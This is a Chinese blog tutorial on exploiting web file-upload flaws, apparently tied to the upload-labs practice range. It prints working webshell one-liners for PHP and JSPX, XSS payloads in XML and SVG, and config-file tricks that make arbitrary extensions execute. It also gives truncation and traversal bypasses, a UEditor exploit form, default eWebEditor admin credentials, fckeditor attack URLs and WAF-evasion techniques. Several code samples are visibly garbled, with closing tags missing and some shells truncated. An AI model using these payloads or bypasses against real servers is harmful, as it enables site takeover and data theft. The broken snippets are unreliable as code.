jsp文件上传_文件上传

一、文件上传的目的——脚本文件

文件上传的一共可造成三种危害,从低到高分别是,任意内容文件,html文件,脚本文件。任意内容文件
任意内容文件指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上传一个内容为<?php phpinfo();?>的jpg文件。这种是未校验文件头和文件内容导致的,往往不被视为漏洞,使用它们通常需要其他漏洞结合利用,比如php cgi解析漏洞,文件包含漏洞,结合任意目录上传覆盖正常文件。html文件
即允许上传一个html格式的文件(包括htm等),等同于存储XSS,但由于实际利用过程中必须得钓鱼,所以其危害等同于反射XSS,同时也曾有人拿这种漏洞做黑帽SEO。
由于富文本编辑的未授权上传的特殊性,结合html的特殊性,kindeditor就曾爆出这样的漏洞。
百度搜inurl:kindeditor/attached/file/
除了html文件之外,xml文件能起到同样的效果,xml xss的语句如下。

<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>alert(1);html:script>html:html>

或者

<?xml version="1.0"?><a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(/XSS/)'>

以及svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /><script>alert(1)script>svg>

但由于这种漏洞危害还是过小,所以并不受重视,Kindeditor默认支持html上传,ueditor默认支持xml上传。

脚本文件
脚本文件指可执行动态脚本,就是webshell,也是文件上传漏洞的重点,一旦出现,即使语言环境对危害函数严防死守,也会造成严重危害。
首先我们要知道有哪些脚本文件,常见的4大类,asp,aspx,php,jsp。asp
IIS6.0默认支持,同时更高版本也通常为了兼容而支持。
IIS6.0默认还支持cer,cdx,asa三种格式以asp解析,IIS7.0及以上的版本只支持cer。
asp一句话木马和hello world

"a")%>"hello world")%>

aspx
IIS7.0及以上默认支持,aspx没有其他格式,但有可以起到一样效果的ashx和asmx。
aspx一句话和hello world

"Jscript"%>"a"],"hello world")%>

ashx,asmx,soap
https://github.com/luoke90hou/files/blob/main/customize.ashx

https://github.com/luoke90hou/files/blob/main/customize.asmx

https://github.com/luoke90hou/files/blob/main/Customize.soap

web.config

类似apache的.htaccess也可以让当前目录的任意后缀文件解析为asp/aspx,以下为参考。

<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <handlers>            <add name="qqq" path="*.qqq" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" />        handlers>    system.webServer>configuration>

stm,shtm,shtml

不能作为木马,但可以读取web.config内容和一些信息。

另外,Global.asax,aspx.cs,svc,dll文件均可以在IIS中当webshell,但都需要编译,无法直接通过文件上传getshell,通常作为后门维持。
如果IIS部署了MVC3,还支持cshtml

https://github.com/luoke90hou/files/blob/main/customize.cshtml

PHP

IIS,apache,nginx均可能支持。其中apache可能默认支持从左向右识别后缀,即1.php.rar.bak,同时可能有php格式支持正则如下。

8574a8c23253048adb2da8129d88ece9.png

也有的版本是
也就是说php3,php4,php5,php7,pht,phtml,phar均有可能解析成php
除此之外,如下内容的.htaccess可支持同目录下任意格式解析成php,

AddType application/x-httpd-php .abc

.user.ini的效果和.htaccess差不多,但是必须要求同目录下有一个php文件。

auto_prepend_file=a.jpg

.htaccess只支持apache,.user.ini支持所有cgi模式启动的php
php一句话和phpinfo如下

<?php  @eval($_POST['a']) ?><?php  phpinfo();?>

jsp

tomcat,jboss,WebSphere,weblogic等java web容器均支持jsp
jsp shell和hello world如下

Runtimeout

jspx是jsp的xml表达,shell如下

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:scriptlet> Runtime.getRuntime().exec(request.getParameter("i")); jsp:scriptlet> jsp:root>

war格式为jsp文件打包,通常用来快速部署网站用的,tomcat,jboss,weblogic,websphere后台均可通过部署war包来getshell。
jspf,jspa,jhtml均为额外配置脚本文件,默认无此支持

除了上述常见脚本文件之外,python网站使用py脚本,perl网站使用pl脚本和cgi脚本,ColdFusion网站使用cfm脚本,Servlet网站使用java脚本。这些均有对应的webshell。

二、文件上传可以控制的参数

靶场:https://github.com/c0ny1/upload-labs

1,前端验证,MIME验证
基本无用,抓包改包即可突破

268b15ceda1de59f3be3d5cc1802789a.png

1e20350e44e7454ad866005e4a79341e.png

2,目录或者文件名

51406d8d4c01729f17145ed5c3bdcc89.png

现在绝大部分文件上传后都是用时间戳或者随机hash重命名,一般也不让控制目录。
如果允许完全控制文件名,或者目录,则可以尝试上传../../../testtest.php文件穿越目录。具体利用方法结合实际情况,比如绕过当前目录不解析,增加任务计划,web配置,权限足够甚至可以直接覆盖掉passwd。即使权限不够,也能尝试用恶意doc,xls,exe覆盖掉正常的文件。
如果不完全控制,也就是上传test.php.png会拼接成202004017141111111test.php.png,也可以尝试用特殊字符截断成202004017141111111test.php%00.png。不单单可以在文件名上截断,同样可以在目录上截断。
如果目录,文件名均不可控,后缀使用黑名单控制,可以参考第一章,用冷门后缀绕过。Windows服务器上还有一些其他办法。
大小写  【PhP】
自动省略最后的.和空格 【php.】【php 】
NTFS文件流【php::$DATA】Pass-08
最安全的做法就是目录,文件名均不可控,再加白名单校验后缀。此时只能尝试特殊字符截断,linux中只有00可以截断,windows中?:<>/|等不支持的字符均有可能产生截断效果。

3,文件内容控制

54c533d4364bc0ede41214e6f3854e6c.png

有时候服务器会对文件的真实性进行校验,比如检查图片文件的真实性,检查xlsx文件是否可以解析,我们就需要控制文件内容。文件内容可控点分为两部分,一是文件头,即16进制下的前几个字符,最常用的是gif文件头,GIF89au,gif文件头由于全是英文数字,比png和jpg适用性都广。

6ef5095edef31528edc014a032a5320f.png

二是整个文件内容,比如对图片尺寸进行校验甚至二次渲染,单单加入文件头是无法上传的,此时必须以图片马的方式上传。

copy 1.png/b+1.php 2.png

4,绕过GD库

GD库是php的图片渲染插件,方便于把图片统一尺寸。即使是符合尺寸的图片也会被二次渲染。
这种情况下需要对比图片渲染前后未被修改的部分,在此插入payload。
绕过GD库有如下原则,图片尺寸越大越好,插入的payload越短越好,gif最容易成功,png次之,jpg最难成功。
Pass-16靶场,已成功的一个jpg
https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg

参考https://xz.aliyun.com/t/2657

5,条件竞争

如果文件上传时分两步,先生成文件再校验,不合规再删除,则可以利用时间差来访问还未删除的脚本文件。也可以利用报错使删除逻辑不再执行。
条件竞争的隐藏条件就是文件路径可预测,也就是目录和文件名要固定,或者一定程度可猜解。
参考Pass-17,可以用bp大量发包上传,也可以bp大量发包访问webshell的地址,此时一般用访问即生成一个webshell的小马。三、编辑器的漏洞

1,1.4.3 aspx ueditor由于windows文件系统问号截断导致,可以利用远程下载功能,在恶意服务器上下载后缀为jpg的webshell。以下是exp

<form action="http://luoke.cn/UEditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">  <p>shell addr:<input type="text" name="source[]" />p >0:50 2019/1/1  <input type="submit" value="Submit" />form>

2,eWebEditor,asp

后台有默认密码admin/admin,admin/admin888,admin888/admin888,数据库地址eWebEditor/db/ewebeditor.asa
后台可直接修改样式然后预览上传webshell。

dcfbe02f21dc4af230f803d7028620d7.png

同时还有文件遍历漏洞

577f4cd28238300b658601da9df52d1c.png

3,fckeditor,asp和php

均为低版本漏洞,asp需配合IIS6.0解析漏洞,上传1.asp;.png两次,第一次被重命名为1_asp;.png,第二次被重命名1.asp;(1).png
asp也可以新建1.asp的文件夹

/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2F1.asp&NewFolderName=z

php则需要配合php5.2 %00截断漏洞,在目录处截断

/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=1.php%00.gif

四、绕过waf拦截

文件上传绕waf,可以增加干扰让waf识别不出文件上传

3ce2f272cec0d0a0721d824fe4d2784c.png

如上图,boundary前后可以加空格。
Content-Disposition filename可以随意大小写
form-data可以替换成任意值
"3.php"双引号可以去掉
3.php可以换行,后面可以加%00字符
绕过waf对于文件内容的检测,可以先上传本地包含的木马,再上传加密的shellcode,或者远程包含,或者免杀+图片马的思路,也可以先上传一个写文件的木马,然后一个字符一个字符写出新的木马。
有的waf禁止上传exe或者二进制文件,可以利用系统自带的远程下载工具下载而非web层面上的上传,比如wget,curl,powershell,certutil,bitsadmin,vbs。
还有的waf会对文件大小进行检测,可以上传多个小文件,利用winrar,copy命令合并。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值